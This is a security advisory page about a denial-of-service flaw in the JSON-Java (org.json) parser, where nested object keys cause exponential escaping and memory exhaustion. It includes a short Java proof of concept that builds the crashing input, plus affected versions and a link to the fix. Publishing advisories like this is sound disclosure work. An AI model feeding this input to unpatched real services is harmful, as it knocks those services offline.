GHSA-4jq9-2xhw-jpx7

    Dashboard / Vulnerabilities / GHSA-4jq9-2xhw-jpx7

    GHSA-4jq9-2xhw-jpx7

    Published: 14 Nov 2023Last Modified: 10 Sept 2026
    Aliases:

    Summary: Java: DoS Vulnerability in JSON-JAVA

    Details: ### Summary A denial of service vulnerability in JSON-Java was discovered by [ClusterFuzz](https://google.github.io/clusterfuzz/). A bug in the parser means that an input string of modest size can lead to indefinite amounts of memory being used. There are two issues: (1) the parser bug can be used to circumvent a check that is supposed to prevent the key in a JSON object from itself being another JSON object; (2) if a key does end up being a JSON object then it gets converted into a string, using `\` to escape special characters, including `\` itself. So by nesting JSON objects, with a key that is a JSON object that has a key that is a JSON object, and so on, we can get an exponential number of `\` characters in the escaped string. ### Severity High - Because this is an already-fixed DoS vulnerability, the only remaining impact possible is for existing binaries that have not been updated yet. ### Proof of Concept ```java package orgjsonbug; import org.json.JSONObject; /** * Illustrates a bug in JSON-Java. */ public class Bug { private static String makeNested(int depth) { if (depth == 0) { return "{\"a\":1}"; } return "{\"a\":1;\t\0" + makeNested(depth - 1) + ":1}"; } public static void main(String[] args) { String input = makeNested(30); System.out.printf("Input string has length %d: %s\n", input.length(), input); JSONObject output = new JSONObject(input); System.out.printf("Output JSONObject has length %d: %s\n", output.toString().length(), output); } } ``` When run, this reports that the input string has length 367. Then, after a long pause, the program crashes inside new JSONObject with OutOfMemoryError. ### Further Analysis The issue is fixed by [this PR](https://github.com/stleary/JSON-java/pull/759). ### Timeline **Date reported**: 07/14/2023 **Date fixed**: **Date disclosed**: 10/12/2023

    Affected packages

    Package

    Name: org.json:json

    Purl: pkg:maven/org.json/json

    Affected ranges

    Type: ECOSYSTEM

    Events:

    Introduced- 0
    Fixed -20231013

    Affected versions

    20070829

    Common Vulnerability Scoring System

    Attack Vector
    Network
    Adjacent
    Local
    Physical
    Privileges Required
    None
    Low
    High
    User Interaction
    None
    Required
    Scope
    Unchanged
    Changed
    Confidentiality
    None
    Low
    High
    Integrity
    None
    Low
    High
    Availability
    None
    Low
    High
    GHSA-4jq9-2xhw-jpx7 | CVE-DB